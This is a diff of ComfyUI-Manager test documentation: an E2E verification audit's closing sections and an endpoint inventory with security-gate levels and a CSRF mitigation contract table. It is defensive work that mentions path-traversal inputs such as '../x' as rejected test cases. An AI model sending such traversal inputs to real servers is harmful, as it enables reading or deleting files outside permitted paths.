- LDV1 disabled_versions test
|
||||
|
||||
## Classification policy (tier rule)
|
||||
|
||||
A gap is `N/A` only if no E2E observable exists for the design's stated observable.
|
||||
- **T1 DESTRUCTIVE-SAFE** (NORMAL add): design observable is a queued-task record,
|
||||
marker file, or persistent side-effect artifact. Current T1 items: CV3, SR5, V4.
|
||||
- **T2 SECGATE-PENDING** (PENDING-harness): blocked only on restricted-security test
|
||||
harness. WI-KK dissolved the original 8-item T2 bucket into 4 distinct sub-tiers
|
||||
(see **WI-KK SECGATE Harness Design** block below for the reclassification rationale).
|
||||
Current T2 items: SR6, V5, UA2 (3 Goals — harness-ready mechanical additions to
|
||||
`test_e2e_secgate_strict.py`).
|
||||
- **T2-RESOLVED** (WI-LL, post-WI-KK): Goals formally test-backed by the new secgate
|
||||
fixtures. Current items: SR4 (`test_e2e_secgate_strict.py` §20), CV4 (`test_e2e_secgate_default.py` §21).
|
||||
- **NORMAL** (post-WI-KK reclassification): Goals that do NOT need a harness because
|
||||
the default E2E config (`is_local_mode=True` + `security_level=normal`) already
|
||||
triggers the 403 path at the HTTP handler. Current items: CV4 (covered by WI-LL).
|
||||
*(Note: CV4 appears in both T2-RESOLVED and NORMAL because its classification
|
||||
shifted — it was T2 pre-WI-KK, NORMAL post-WI-KK research, and T2-RESOLVED
|
||||
post-WI-LL audit integration. The operational tier is NORMAL; T2-RESOLVED is
|
||||
the audit-status tag.)*
|
||||
- **NORMAL-legacy** (post-WI-KK reclassification): Goals registered ONLY in
|
||||
`legacy/manager_server.py`; need `start_comfyui_legacy.sh` fixture. Current items:
|
||||
LGU2, LPP2 (2 Goals — fixture already exists from WI-FF; implementation pending
|
||||
a dedicated `test_e2e_secgate_legacy_default.py` module).
|
||||
- **T2-TASKLEVEL** (post-WI-KK reclassification): gate check lives in the worker /
|
||||
`get_risky_level` pipeline, not the HTTP handler. Requires queue-observation test
|
||||
pattern, not HTTP 403 check. Current items: IM4 (1 Goal — pattern TBD).
|
||||
- **T3 IRREDUCIBLE-NA**: no test-observable artifact exists. Current items: none.
|
||||
|
||||
Re-reading all items currently categorized "intentionally skipped (destructive)":
|
||||
**CV3, SR5, V4 are T1, not N/A**, and have been promoted to NORMAL coverage tasks in
|
||||
the Key-gaps bullets above.
|
||||
|
||||
### WI-KK SECGATE Harness Design (audit-embedded propagation plan)
|
||||
|
||||
WI-KK (#182) landed two artifacts that fundamentally reshape the T2 backlog:
|
||||
|
||||
1. **`tests/e2e/scripts/start_comfyui_strict.sh`** — a strict-mode ComfyUI launcher
|
||||
that patches `user/__manager/config.ini` to `security_level=strong`, leaves a
|
||||
`.before-strict` backup, and starts the server on the E2E port. Pair this with
|
||||
a module-scoped fixture that restores the backup in teardown (the model shown
|
||||
in `test_e2e_secgate_strict.py`) and any middle/middle+ gate becomes testable.
|
||||
2. **Research finding** (WI-KK #183): `security_utils.py` L14–40 returns
|
||||
`security_level in [WEAK, NORMAL_]` for the high+ check. Under `is_local_mode=True`
|
||||
(our 127.0.0.1 default), `security_level=normal` is NOT in that set, so high+
|
||||
operations return False → 403 **at the default config, no harness needed**.
|
||||
|
||||
Combining these two insights, the original "8 T2 SECGATE-PENDING Goals, harness
|
||||
should land as one cross-cutting item" collapses into a 4-sub-tier structure:
|
||||
|
||||
| WI-KK sub-tier | Goals | Test infrastructure | Status after WI-LL |
|
||||
|---|---|---|---|
|
||||
| T2-RESOLVED | SR4, CV4 | `test_e2e_secgate_strict.py` + `test_e2e_secgate_default.py` | PASS rows landed (§20, §21) |
|
||||
| T2-pending (harness-ready) | SR6, V5, UA2 | Same strict fixture as SR4 — mechanical addition | Deferred to a follow-up PR (low lift) |
|
||||
| NORMAL-legacy | LGU2, LPP2 | `start_comfyui_legacy.sh` (exists via WI-FF) | Deferred to `test_e2e_secgate_legacy_default.py` follow-up |
|
||||
| T2-TASKLEVEL | IM4 | Queue-observation pattern (not HTTP 403) — pattern TBD | Open design question; not a simple mechanical add |
|
||||
|
||||
Propagation plan (post-PR):
|
||||
1. Land SR6, V5, UA2 in `test_e2e_secgate_strict.py` using the SR4 template; adds 3 PASS rows, brings this audit to 136/151 TOTAL.
|
||||
2. Create `test_e2e_secgate_legacy_default.py` for LGU2 + LPP2; +2 PASS → 138/153.
|
||||
3. Design the IM4 queue-observation pattern (distinct from the HTTP 403 pattern used in §20/§21); +1 PASS → 139/154. This item may be reclassified to T3 IRREDUCIBLE-NA if the observable turns out to be log-only.
|
||||
|
||||
---
|
||||
|
||||
# Conclusion
|
||||
|
||||
**100% of tests have adequate verification** (excluding N/A; denominator = 116 after WI-MM + WI-NN bloat reductions — WI-MM net -9 PASS / -2 N/A / -1 section row; WI-NN parametrize-consolidation net -9 PASS / -4 N/A). The ⚠️ WEAK bucket is now empty. **Zero INADEQUATE tests remain** after Stage2 WI-D + WI-F resolution; Stage3 WI-G closed the config_api disk/restart gap (§4: 6 WEAK → PASS). The three reconciliation waves closed every remaining WEAK:
|
||||
|
||||
- **Wave1** (WI-L/M/N): 10 WEAK → PASS across 5 files (endpoint, git_clone, customnode_info, queue_lifecycle, version_mgmt) + snapshot_lifecycle 1 WEAK → PASS, with 1 dedup via WI-M.
|
||||
- **Wave2** (WI-P/Q): 7 WEAK → PASS (task_operations 6 for update/fix effect + params; snapshot_lifecycle 1 for save_snapshot disk + content verification).
|
||||
- **Wave3** (WI-T/U/W): 10 WEAK → PASS. WI-T Cluster C+G strengthened queue_lifecycle (3), customnode_info (1), and system_info (1) with field-level effect checks; WI-U Cluster H rewrote 3 legacy-ui Playwright specs (manager-menu 2, custom-nodes 1, model-manager 2) to verify UI state via dialog reopen / `<select>.value` assertions; WI-W fixed the TaskHistoryItem params-drop schema regression and re-enabled the skipped queue_lifecycle `history?id=...` test.
|
||||
|
||||
Cumulative Wave1+Wave2+Wave3 upgrade count: **27 WEAK → PASS** (10 + 7 + 10). Matrix delta across the three waves: PASS 54 → 94 (+40 including Stage2+Stage3 upstream), WEAK 36 → 0, INADEQUATE 5 → 0. WI-Z inventory reconciliation (Y1 + Y3) added 6 pre-existing PASS rows: PASS 94 → 100, total 109 → 115. WI-AA inventory reconciliation added 2 more pre-existing PASS rows (LB1/LB2): PASS 100 → 102, total 115 → 117. WI-GG added 26 per-invocation PASS rows for `test_e2e_csrf_legacy.py` (WI-FF deliverable): PASS 102 → 128, total 117 → 143. WI-JJ (FF-deferred items) added 3 legacy-side CSRF invocations for the 2 legacy install endpoints + `is_legacy_manager_ui` flag-value parity: PASS 128 → 131, total 143 → 146. WI-LL added 2 PASS rows for the WI-KK deliverables — SR4 via `test_e2e_secgate_strict.py` §20 and CV4 via `test_e2e_secgate_default.py` §21 — closing 2 of the 8 original T2 SECGATE-PENDING Goals and reclassifying the remaining 6 across 4 sub-tiers (see WI-KK SECGATE Harness Design block above): PASS 131 → 133, total 146 → 148.
|
||||
|
||||
- Check status code without verifying the actual effect (WEAK — 0%) ✅
|
||||
- Use direct API in UI tests (INADEQUATE — 0%) ✅
|
||||
- Are outside endpoint-effect scope (N/A — 15/148 ≈ 10.1% of total)
|
||||
|
||||
Remaining 🟢 gaps (not WEAK): ~~**SR3 snapshot-remove path-traversal**~~ (RESOLVED by WI-Z Y1 — `test_remove_path_traversal_rejected`) and **QH2 queue-history path-traversal** (destructive-safe security test, already present via `test_history_path_traversal_rejected` in queue_lifecycle § Key gaps). Design-Goal coverage gap (22/92 absent, 70/92 referenced) is tracked separately in § Design-Goal Coverage Gap and is not a test-quality issue.
|
||||
|
||||
Post-Wave3 + WI-Z + WI-AA + WI-GG + WI-JJ + WI-LL state: **100% adequate coverage achieved** (133/133 PASS, excluding 15 N/A). Audit is in a terminal state for the current 148 tests. Further coverage expansion (design-Goal additions, the 3 T2-pending harness-ready Goals, NORMAL-legacy Goals, T2-TASKLEVEL IM4) is new-work territory — propagation plan is documented in the WI-KK SECGATE Harness Design block above — not reconciliation.
|
||||
|
||||
> **WI-Z + WI-AA + WI-GG + WI-JJ + WI-LL note**: Total test count 109 → 115 (WI-Z Y1 +1 snapshot, Y3 +5 config_api) → 117 (WI-AA +2 LB1/LB2) → 143 (WI-GG +26 legacy CSRF per-invocation rows) → 146 (WI-JJ +3 legacy-side install/parity rows) → 148 (WI-LL +2 SECGATE PoC rows) reflects inventory reconciliation plus WI-KK's newly-landed secgate coverage. Cumulative **upgrade** count remains 27 (unchanged since Wave3). WI-LL is the first audit-reflect WI to also introduce a Classification-policy reshape (T2 SECGATE-PENDING 8 → 4 sub-tiers), not just row additions.
|
||||
|
||||
---
|
||||
*End of E2E Verification Audit*
|
||||
@@ -0,0 +1,427 @@
|
||||
# Report A — Endpoint Extraction + Scenario Mapping
|
||||
|
||||
**Generated**: 2026-04-18
|
||||
**Source files**:
|
||||
- `comfyui_manager/glob/manager_server.py` (glob v2 — primary/current API)
|
||||
- `comfyui_manager/legacy/manager_server.py` (legacy — `--enable-manager-legacy-ui`)
|
||||
|
||||
## Summary
|
||||
|
||||
| Category | Endpoints | Unique Scenarios |
|
||||
|---|---:|---:|
|
||||
| Glob v2 | 30 | 120 |
|
||||
| Legacy-only (not in glob) | 9 | 34 |
|
||||
| Legacy-shared (same path as glob) | 29 | — (see glob) |
|
||||
| **TOTAL unique HTTP handlers** | **39** | **154** |
|
||||
|
||||
Security-gated endpoints:
|
||||
- `middle`: reboot, snapshot/remove, _uninstall_custom_node, _update_custom_node
|
||||
- `middle+`: update_all, snapshot/restore, _install_custom_node, _install_model
|
||||
- `high+`: comfyui_switch_version, install/git_url, install/pip, non-safetensors model install, _fix_custom_node (raised from `high` to align the gate with the `SECURITY_MESSAGE_HIGH_P` log text — WI-#235; prior `middle` → `high` upgrade was commit `c8992e5d`)
|
||||
|
||||
---
|
||||
|
||||
# Section 1 — Glob v2 Endpoints (`comfyui_manager/glob/manager_server.py`)
|
||||
|
||||
## 1.1 Queue Management
|
||||
|
||||
### POST /v2/manager/queue/task
|
||||
- **Handler**: `queue_task` (L1218)
|
||||
- **Schema**: `QueueTaskItem` (Pydantic) — `{kind, ui_id, client_id, params}`
|
||||
- **Scenarios**:
|
||||
1. Success — valid task (kind=install/update/fix/disable/enable/uninstall/update_comfyui/install_model) → 200
|
||||
2. Validation error — malformed kind / missing ui_id / invalid params → 400 with ValidationError text
|
||||
3. Invalid JSON body → 500
|
||||
4. State: worker auto-starts when task added
|
||||
|
||||
### GET /v2/manager/queue/history_list
|
||||
- **Handler**: `get_history_list` (L1252)
|
||||
- **Scenarios**:
|
||||
1. Success — list of batch history file IDs (basename without .json) sorted by mtime desc → 200 `{ids: [...]}`
|
||||
2. Empty history directory → 200 `{ids: []}`
|
||||
3. History path inaccessible → 400
|
||||
|
||||
### GET /v2/manager/queue/history
|
||||
- **Handler**: `get_history` (L1281)
|
||||
- **Query**: `id` (batch file) | `client_id` | `ui_id` | `max_items` | `offset`
|
||||
- **Scenarios**:
|
||||
1. Success with `id=<batch_history_id>` → reads JSON file → 200
|
||||
2. Path-traversal attempt in `id` → 400 "Invalid history id"
|
||||
3. Filter by `ui_id` — returns single task history → 200 `{history: ...}`
|
||||
4. Filter by `client_id` — filters in-memory history dict → 200
|
||||
5. Pagination (`max_items`, `offset`) → 200 `{history: ...}`
|
||||
6. JSON serialization failure (in-memory TaskHistoryItem not serializable) → 400
|
||||
7. No query params — returns full current session history → 200
|
||||
|
||||
### POST /v2/manager/queue/reset
|
||||
- **Handler**: `reset_queue` (L1718)
|
||||
- **Scenarios**:
|
||||
1. Success — wipes pending + running + history → 200
|
||||
2. Idempotent — safe to call when queue already empty → 200
|
||||
|
||||
### GET /v2/manager/queue/status
|
||||
- **Handler**: `queue_count` (L1725)
|
||||
- **Query**: `client_id` (optional)
|
||||
- **Scenarios**:
|
||||
1. No filter — global counts (total/done/in_progress/pending, is_processing) → 200
|
||||
2. With `client_id` — response includes `client_id` echo + per-client counts → 200
|
||||
3. Unknown client_id — returns 0 counts with echo → 200
|
||||
|
||||
### POST /v2/manager/queue/start
|
||||
- **Handler**: `queue_start` (L1778)
|
||||
- **Scenarios**:
|
||||
1. Worker not running — starts worker → 200
|
||||
2. Worker already running → 201 (already in-progress)
|
||||
3. Empty queue — worker starts then idles → 200
|
||||
|
||||
### POST /v2/manager/queue/update_all
|
||||
- **Handler**: `update_all` (L1411)
|
||||
- **Security gate**: `middle+` → 403 otherwise
|
||||
- **Schema**: `UpdateAllQueryParams` — `{ui_id, client_id, mode?}`
|
||||
- **Scenarios**:
|
||||
1. Success — queues update tasks for all active nodes → 200 (synchronously; slow due to reload)
|
||||
2. Missing `ui_id`/`client_id` → 400 ValidationError
|
||||
3. Security blocked (level < middle+) → 403
|
||||
4. `mode=local` — uses local channel (no network)
|
||||
5. `mode=remote/cache` — fetches cached channel data
|
||||
6. Desktop version — skips comfyui-manager pack (reads `__COMFYUI_DESKTOP_VERSION__`)
|
||||
7. Empty node set — queues 0 tasks → 200
|
||||
|
||||
### POST /v2/manager/queue/update_comfyui
|
||||
- **Handler**: `update_comfyui` (L1791)
|
||||
- **Schema**: `UpdateComfyUIQueryParams` — `{client_id, ui_id, stable?}`
|
||||
- **Scenarios**:
|
||||
1. Success — queues `update-comfyui` task → 200
|
||||
2. Missing required params → 400 ValidationError
|
||||
3. `stable=true` — forces stable update regardless of config
|
||||
4. `stable=false` — forces nightly update
|
||||
5. No `stable` param — uses config policy (nightly-comfyui vs stable)
|
||||
|
||||
### POST /v2/manager/queue/install_model
|
||||
- **Handler**: `install_model` (L1875)
|
||||
- **Schema**: `ModelMetadata` (name, type, base, url, filename, save_path) + required `client_id` + `ui_id`
|
||||
- **Scenarios**:
|
||||
1. Success — valid request → queues `install-model` task → 200
|
||||
2. Missing `client_id` → 400 "Missing required field: client_id"
|
||||
3. Missing `ui_id` → 400 "Missing required field: ui_id"
|
||||
4. Invalid model metadata (missing name/url/filename) → 400 ValidationError
|
||||
5. Malformed JSON → 500
|
||||
|
||||
## 1.2 Custom Node Info
|
||||
|
||||
### GET /v2/customnode/getmappings
|
||||
- **Handler**: `fetch_customnode_mappings` (L1357)
|
||||
- **Query**: `mode` (required: local|cache|remote|nickname)
|
||||
- **Scenarios**:
|
||||
1. Success — returns `{pack_id: [node_list, metadata]}` dict → 200
|
||||
2. `mode=nickname` — applies nickname_filter → 200
|
||||
3. Missing `mode` → KeyError → 500
|
||||
4. Invalid `mode` value → may raise from get_data_by_mode → 400/500
|
||||
5. Missing nodes matched by `nodename_pattern` regex are appended
|
||||
|
||||
### GET /v2/customnode/fetch_updates
|
||||
- **Handler**: `fetch_updates` (L1393)
|
||||
- **Scenarios**:
|
||||
1. Always returns **410 Gone** with `{deprecated: true}` — deprecated endpoint
|
||||
2. Client should migrate to queue/update-based flow
|
||||
|
||||
### GET /v2/customnode/installed
|
||||
- **Handler**: `installed_list` (L1500)
|
||||
- **Query**: `mode` (default|imported)
|
||||
- **Scenarios**:
|
||||
1. Default mode — current installed packs snapshot → 200 dict
|
||||
2. `mode=imported` — startup-time installed packs (frozen snapshot) → 200
|
||||
3. Empty custom_nodes dir → 200 `{}`
|
||||
|
||||
### POST /v2/customnode/import_fail_info
|
||||
- **Handler**: `import_fail_info` (L1623)
|
||||
- **Body**: `{cnr_id?, url?}` — one required
|
||||
- **Scenarios**:
|
||||
1. Known failed pack via `cnr_id` — returns `{msg, traceback}` → 200
|
||||
2. Known failed pack via `url` — returns info → 200
|
||||
3. Unknown pack → 400 (no failure info available)
|
||||
4. Missing both cnr_id and url → 400 "Either 'cnr_id' or 'url' field is required"
|
||||
5. `cnr_id` not a string → 400 "'cnr_id' must be a string"
|
||||
6. Non-dict body → 400 "Request body must be a JSON object"
|
||||
|
||||
### POST /v2/customnode/import_fail_info_bulk
|
||||
- **Handler**: `import_fail_info_bulk` (L1657)
|
||||
- **Schema**: `ImportFailInfoBulkRequest` — `{cnr_ids: [], urls: []}`
|
||||
- **Scenarios**:
|
||||
1. Success with `cnr_ids` list — returns `{cnr_id: {error, traceback}|null}` → 200
|
||||
2. Success with `urls` list — returns `{url: {error, traceback}|null}` → 200
|
||||
3. Both lists empty → 400 "Either 'cnr_ids' or 'urls' field is required"
|
||||
4. Validation error (wrong types) → 400
|
||||
5. Each unknown pack → `null` in results dict (not an error)
|
||||
|
||||
## 1.3 Snapshots
|
||||
|
||||
### GET /v2/snapshot/getlist
|
||||
- **Handler**: `get_snapshot_list` (L1512)
|
||||
- **Scenarios**:
|
||||
1. Success — list of snapshot file stems (basename minus .json), sorted desc → 200 `{items: [...]}`
|
||||
2. Empty snapshot dir → 200 `{items: []}`
|
||||
|
||||
### GET /v2/snapshot/get_current
|
||||
- **Handler**: `get_current_snapshot_api` (L1575)
|
||||
- **Scenarios**:
|
||||
1. Success — returns current system state dict → 200
|
||||
2. Internal failure → 400
|
||||
|
||||
### POST /v2/snapshot/save
|
||||
- **Handler**: `save_snapshot` (L1585)
|
||||
- **Scenarios**:
|
||||
1. Success — creates timestamped snapshot file → 200
|
||||
2. Internal failure → 400
|
||||
3. Multiple rapid saves — each creates distinct timestamped file
|
||||
|
||||
### POST /v2/snapshot/remove
|
||||
- **Handler**: `remove_snapshot` (L1521)
|
||||
- **Security gate**: `middle` → 403
|
||||
- **Query**: `target` (snapshot file stem)
|
||||
- **Scenarios**:
|
||||
1. Success — removes existing file → 200
|
||||
2. Nonexistent target — 200 (no-op)
|
||||
3. Path traversal (`../x`) → 400 "Invalid target"
|
||||
4. Missing `target` query → exception → 400
|
||||
5. Security blocked (level < middle) → 403
|
||||
|
||||
### POST /v2/snapshot/restore
|
||||
- **Handler**: `restore_snapshot` (L1543)
|
||||
- **Security gate**: `middle+` → 403
|
||||
- **Query**: `target`
|
||||
- **Scenarios**:
|
||||
1. Success — copies snapshot to startup script path (applied on next reboot) → 200
|
||||
2. Nonexistent target → 400
|
||||
3. Path traversal → 400 "Invalid target"
|
||||
4. Security blocked → 403
|
||||
|
||||
## 1.4 Configuration
|
||||
|
||||
### GET /v2/manager/db_mode
|
||||
- **Handler**: `db_mode` (L1907)
|
||||
- **Scenarios**: Returns plain text current value ∈ {cache, channel, local, remote} → 200
|
||||
|
||||
### POST /v2/manager/db_mode
|
||||
- **Handler**: `set_db_mode_api` (L1912)
|
||||
- **Body**: `{value: <mode>}`
|
||||
- **Scenarios**:
|
||||
1. Valid value — persists to config.ini → 200
|
||||
2. Malformed JSON → 400 "Invalid request"
|
||||
3. Missing `value` key → 400 KeyError
|
||||
|
||||
### GET /v2/manager/policy/update
|
||||
- **Handler**: `update_policy` (L1923)
|
||||
- **Scenarios**: Returns plain text value ∈ {stable, stable-comfyui, nightly, nightly-comfyui} → 200
|
||||
|
||||
### POST /v2/manager/policy/update
|
||||
- **Handler**: `set_update_policy_api` (L1928)
|
||||
- **Body**: `{value: <policy>}`
|
||||
- **Scenarios**:
|
||||
1. Valid value → persists config → 200
|
||||
2. Malformed JSON / missing value → 400
|
||||
|
||||
### GET /v2/manager/channel_url_list
|
||||
- **Handler**: `channel_url_list` (L1939)
|
||||
- **Scenarios**:
|
||||
1. Success — `{selected: name, list: ["name::url", ...]}` → 200
|
||||
2. Selected URL doesn't match any channel → `selected="custom"`
|
||||
|
||||
### POST /v2/manager/channel_url_list
|
||||
- **Handler**: `set_channel_url` (L1954)
|
||||
- **Body**: `{value: <channel_name>}`
|
||||
- **Scenarios**:
|
||||
1. Known channel name → persists new URL → 200
|
||||
2. Unknown channel name → no-op → 200 (silent)
|
||||
3. Malformed JSON / missing value → 400
|
||||
|
||||
## 1.5 System
|
||||
|
||||
### GET /v2/manager/is_legacy_manager_ui
|
||||
- **Handler**: `is_legacy_manager_ui` (L1487)
|
||||
- **Scenarios**: Returns `{is_legacy_manager_ui: bool}` reflecting `--enable-manager-legacy-ui` flag → 200
|
||||
|
||||
### GET /v2/manager/version
|
||||
- **Handler**: `get_version` (L2009)
|
||||
- **Scenarios**: Returns plain text `core.version_str` → 200
|
||||
|
||||
### POST /v2/manager/reboot
|
||||
- **Handler**: `restart` (L1968)
|
||||
- **Security gate**: `middle` → 403
|
||||
- **Scenarios**:
|
||||
1. Success — triggers server process restart via execv → 200 (connection may drop)
|
||||
2. `__COMFY_CLI_SESSION__` env set — writes reboot marker + exit(0) instead of execv
|
||||
3. Desktop/Windows standalone variant — removes flag before restart
|
||||
4. Security blocked → 403
|
||||
|
||||
## 1.6 ComfyUI Version Management
|
||||
|
||||
### GET /v2/comfyui_manager/comfyui_versions
|
||||
- **Handler**: `comfyui_versions` (L1825)
|
||||
- **Scenarios**:
|
||||
1. Success — `{versions: [...], current: "<tag or hash>"}` → 200
|
||||
2. Git access failure → 400
|
||||
|
||||
### POST /v2/comfyui_manager/comfyui_switch_version
|
||||
- **Handler**: `comfyui_switch_version` (L1840)
|
||||
- **Security gate**: `high+` → 403
|
||||
- **Schema**: `ComfyUISwitchVersionParams` — `{ver, client_id, ui_id}` (JSON body; renamed in WI #261, migrated from query string in WI #258)
|
||||
- **Scenarios**:
|
||||
1. Success — queues update-comfyui task with target_version → 200
|
||||
2. Missing `ver`/`client_id`/`ui_id` → 400 ValidationError (JSON with `error` field)
|
||||
3. Security blocked → 403
|
||||
4. Internal exception → 400
|
||||
|
||||
---
|
||||
|
||||
# Section 2 — Legacy-Only Endpoints (`comfyui_manager/legacy/manager_server.py`)
|
||||
|
||||
Endpoints in this section exist **only in the legacy server** (not registered in glob). They are served when `--enable-manager-legacy-ui` is set.
|
||||
|
||||
### POST /v2/manager/queue/batch
|
||||
- **Handler**: `queue_batch` (L740)
|
||||
- **Body**: dict with keys ∈ {update_all, reinstall, install, uninstall, update, update_comfyui, disable, install_model, fix}, each with a list of per-pack payloads
|
||||
- **Scenarios**:
|
||||
1. Success with single kind (e.g. install) → appends to temp_queue_batch, finalizes, starts worker → 200 `{failed: []}`
|
||||
2. Mixed kinds in one batch — processes each sequentially
|
||||
3. Partial failure — some packs fail internally → 200 `{failed: [...ids]}`
|
||||
4. `update_all` with mode — runs legacy update_all flow inline
|
||||
5. `reinstall` — uninstall then install per pack; uninstall failure skips install
|
||||
6. `disable` — no security check inside `_disable_node`
|
||||
7. `install` with security gate fail → failed set entry
|
||||
8. Empty body `{}` → 200 `{failed: []}`
|
||||
|
||||
### GET /v2/customnode/getlist
|
||||
- **Handler**: `fetch_customnode_list` (L1018)
|
||||
- **Query**: `mode` (required), `skip_update?` (bool string)
|
||||
- **Scenarios**:
|
||||
1. Success — returns `{channel, node_packs}` with installed/update state populated → 200
|
||||
2. `skip_update=true` — skips git update check (faster)
|
||||
3. Removes comfyui-manager self-entry from results
|
||||
4. Channel lookup resolves to 'default'/'custom'/known name
|
||||
|
||||
### GET /customnode/alternatives
|
||||
- **Handler**: `fetch_customnode_alternatives` (L1072)
|
||||
- **Query**: `mode` (required)
|
||||
- **Scenarios**:
|
||||
1. Success — alter-list.json items keyed by id → 200
|
||||
|
||||
### GET /v2/externalmodel/getlist
|
||||
- **Handler**: `fetch_externalmodel_list` (L1143)
|
||||
- **Query**: `mode` (required)
|
||||
- **Scenarios**:
|
||||
1. Success — model-list.json with `installed` flag populated per file → 200
|
||||
2. HuggingFace sentinel filename — resolves from URL basename
|
||||
3. Custom save_path — checks under models/<save_path>
|
||||
|
||||
### GET /v2/customnode/versions/{node_name}
|
||||
- **Handler**: `get_cnr_versions` (L1262)
|
||||
- **Path param**: `node_name`
|
||||
- **Scenarios**:
|
||||
1. Known CNR pack — returns version list → 200
|
||||
2. Unknown pack — 400
|
||||
|
||||
### GET /v2/customnode/disabled_versions/{node_name}
|
||||
- **Handler**: `get_disabled_versions` (L1273)
|
||||
- **Scenarios**:
|
||||
1. Pack has nightly_inactive entry → version list includes "nightly"
|
||||
2. Pack has cnr_inactive entries → versions list
|
||||
3. No disabled versions → 400
|
||||
|
||||
### POST /v2/customnode/install/git_url
|
||||
- **Handler**: `install_custom_node_git_url` (L1502)
|
||||
- **Security gate**: `high+` → 403
|
||||
- **Body**: plain text URL
|
||||
- **Scenarios**:
|
||||
1. Success install → 200
|
||||
2. Already installed (skip action) → 200
|
||||
3. Clone failure → 400
|
||||
4. Security blocked → 403
|
||||
|
||||
### POST /v2/customnode/install/pip
|
||||
- **Handler**: `install_custom_node_pip` (L1522)
|
||||
- **Security gate**: `high+` → 403
|
||||
- **Body**: plain text space-separated packages
|
||||
- **Scenarios**:
|
||||
1. Success — pip install completes → 200
|
||||
2. Security blocked → 403
|
||||
|
||||
### GET /v2/manager/notice
|
||||
- **Handler**: `get_notice` (L1747)
|
||||
- **Scenarios**:
|
||||
1. Success — fetches GitHub wiki News, returns HTML → 200
|
||||
2. GitHub unreachable / non-200 → 200 "Unable to retrieve Notice" (plain text)
|
||||
3. No markdown-body div matched → 200 "Unable to retrieve Notice"
|
||||
4. Appends ComfyUI/Manager version footer
|
||||
5. Desktop variant — uses `__COMFYUI_DESKTOP_VERSION__`
|
||||
6. Non-git ComfyUI — prepends "Your ComfyUI isn't git repo" warning
|
||||
7. Outdated ComfyUI (required_commit_datetime > current) — prepends "too OUTDATED" warning
|
||||
|
||||
---
|
||||
|
||||
# Section 3 — Legacy-Shared Endpoints
|
||||
|
||||
These paths exist in BOTH glob and legacy files (29 endpoints). Semantics are typically equivalent but implementation may differ; see glob scenarios above. Notable differences:
|
||||
|
||||
- **queue/status** (L1379 legacy) — counts from `task_batch_queue[0]` (first batch only), not aggregated across batches like glob
|
||||
- **queue/start** (L1465 legacy) — calls `finalize_temp_queue_batch()` first, then starts worker thread
|
||||
- **update_all** (L904 legacy) — returns 401 if worker already running; auto-saves snapshot; uses temp_queue_batch instead of QueueTaskItem
|
||||
- **update_comfyui** (L1572 legacy) — no params; reads config.update_policy directly; always returns 200
|
||||
- **reboot** (L1796 legacy) — identical behavior to glob
|
||||
- **history** (L819 legacy) — only supports `id` query (no client_id/ui_id/pagination)
|
||||
- **import_fail_info** (L1289 legacy) — no basic dict validation; assumes cnr_id/url present (KeyError otherwise)
|
||||
|
||||
---
|
||||
|
||||
# Security Level Matrix
|
||||
|
||||
| Level | Glob endpoints | Legacy endpoints |
|
||||
|---|---|---|
|
||||
| **middle** | snapshot/remove, reboot | snapshot/remove, reboot, _uninstall, _update |
|
||||
| **middle+** | update_all, snapshot/restore, install_model | update_all, snapshot/restore, _install_custom_node, _install_model |
|
||||
| **high+** | comfyui_switch_version, _fix_custom_node | comfyui_switch_version, install/git_url, install/pip, non-safetensors model install, _fix |
|
||||
|
||||
> Note: `_fix` / `_fix_custom_node` security-level history: `middle` → `high` in commit `c8992e5d` (2026-04-04, which also added a previously-missing gate to the legacy handler); subsequent `high` → `high+` in WI-#235 to align the enforcement gate with the `SECURITY_MESSAGE_HIGH_P` log text (and tighten the gate for a state-mutating fix path). README 'Risky Level Table' has been updated in lockstep.
|
||||
|
||||
# Deprecated / Removed
|
||||
|
||||
- **GET /v2/customnode/fetch_updates** — glob returns 410; legacy still attempts fetch (may succeed but deprecated in concept)
|
||||
- **Individual queue/{install,uninstall,update,fix,disable,reinstall,abort_current}** — removed from legacy in recent work (replaced by queue/batch aggregator)
|
||||
- **GET /manager/notice** (v1, no /v2 prefix) — removed from legacy
|
||||
|
||||
---
|
||||
|
||||
# CSRF Method-Reject Contract Inventory
|
||||
|
||||
**Purpose**: Enumerate the 16 state-changing endpoints that must reject HTTP `GET` after commit `99caef55` (CSRF method-conversion mitigation; CVSS 8.1, reported by XlabAI / Tencent Xuanwu). This inventory supplements `verification_design.md` Section 10 (Goals CSRF-M1 / M2 / M3) and is the authoritative cross-reference for the contract enforced by `tests/e2e/test_e2e_csrf.py`.
|
||||
|
||||
**Data Source**: `tests/e2e/test_e2e_csrf.py::STATE_CHANGING_POST_ENDPOINTS` (L92-L109). Pre-99caef55 methods derived from `git log -S` history and the commit body of 99caef55. Security Level column cross-references the Security Level Matrix (§ above, L378-L382).
|
||||
|
||||
| # | Endpoint | Pre-99caef55 Method | Post-99caef55 Method | Security Level | Test Reference |
|
||||
|---|----------|---------------------|----------------------|----------------|----------------|
|
||||
| 1 | `/v2/manager/queue/start` | GET | POST | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/queue/start]` |
|
||||
| 2 | `/v2/manager/queue/reset` | GET | POST | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/queue/reset]` |
|
||||
| 3 | `/v2/manager/queue/update_all` | GET | POST | middle+ | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/queue/update_all]` |
|
||||
| 4 | `/v2/manager/queue/update_comfyui` | GET | POST | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/queue/update_comfyui]` |
|
||||
| 5 | `/v2/manager/queue/install_model` | POST | POST (pre-existing) | middle+ | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/queue/install_model]` |
|
||||
| 6 | `/v2/manager/queue/task` | POST | POST (pre-existing) | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/queue/task]` |
|
||||
| 7 | `/v2/snapshot/save` | GET | POST | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/snapshot/save]` |
|
||||
| 8 | `/v2/snapshot/remove` | GET | POST | middle | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/snapshot/remove]` |
|
||||
| 9 | `/v2/snapshot/restore` | GET | POST | middle+ | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/snapshot/restore]` |
|
||||
| 10 | `/v2/manager/reboot` | GET | POST | middle | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/reboot]` |
|
||||
